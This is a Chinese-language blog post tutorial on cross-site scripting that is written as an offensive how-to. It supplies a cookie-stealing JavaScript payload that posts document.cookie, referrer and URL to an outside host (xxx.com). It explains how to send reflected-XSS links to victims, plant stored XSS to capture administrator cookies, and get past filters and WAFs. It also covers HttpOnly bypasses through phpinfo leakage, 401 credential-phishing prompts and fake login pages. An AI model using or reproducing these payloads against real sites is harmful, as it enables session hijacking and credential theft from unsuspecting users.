Web安全之XSS漏洞

原理

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

类型

a.存储型:能够插入到数据库里面

b.反射性:只能显示在当前页面

1.在本地建立一个html文件,添加以下js代码

<script src=http://xxx.com></script>

此代码的意思是请求网址http://xxx.com里面的js脚本,然后执行里面的js脚本。

因为上面网址是短网址,所以需要转换成原网址再请求js

脚本内容解析:

//获取当前cookie     
var Cookie = document.cookie;
//获取来源信息
var Referer = document.referrer;
//获取当前url链接
var url = document.URL;

var xhr = null;

try { xhr = new XMLHttpRequest() } catch (e) { xhr = new ActiceXObject('Microsoft.XMLHttp') }

xhr.open('post', 'https://www.xxx.com/action.php', true);

xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

xhr.send('Cookie='+Cookie+'&Referer='+Referer+'&url='+url+'&c=NJROS&type=xss_content');

2.反射性xss一般可在搜索栏呈现,将<script src=http://xxx.com></script>代码放入搜索栏搜索,如果代码被隐藏说明存在xss,然后将链接发送给其他用户可以盗取cookie,

3.存储型漏洞一般在留言板、收货地址等地方,能够存放进数据库,然后管理员登录之后很有可能能够盗取管理员的cookie

 

存在的某些问题

1.<>被转义

比如:

2.script前台加"无法闭合

""><script>alert(1)</script>"

3.尖括号被转码

4.遇到WAF

试一下就知道WAF有没有过滤

5.被ASP.NET拦截

6.输入"就会变成\“怎么办

输入'或者直接啥也不替换,直接输入试

7.我们应该如何绕过Httponly

首先,我们需要怎么开启Httponly

找到php配置文件

session.cookie_httponly = "false"

将这个改为true

绕过思路:

a.如果有phpinfo函数那么直接可以用探针系统里面的

<!--PHPinfo Bypass HttpIOnly:<script src="https://xxx.com/xxx.php?c=4G06V&m=phpinfo&url=自定义PHPinfo地址"></script>-->

将自定义PHPinfo地址改为找到的phpinfo地址,然后直接插,就可以获取cookie了,因为phpinfo里面有这样一个参数

_SERVER["HTTP_COOKIE"] PHPSESSID=e3i0g84fsbi90hoq5rblhcmll6

b.401钓鱼

401钓鱼:<script src="https://xxx.com/xxxx.php?c=4G06V&m=401"></script>

插入这个直接弹出一个框框要你输入账号密码

c.直接写个假的登录

写一个假的登录界面然后用js脚本转到你写的页面,用户看到就会输入账号密码

版权声明:
作者:木尤小站
链接:https://www.my404.cn/254/
来源:木尤小站
文章版权归作者所有,未经允许请勿转载。

THE END
分享
二维码
打赏
< <上一篇
下一篇>>
文章目录
关闭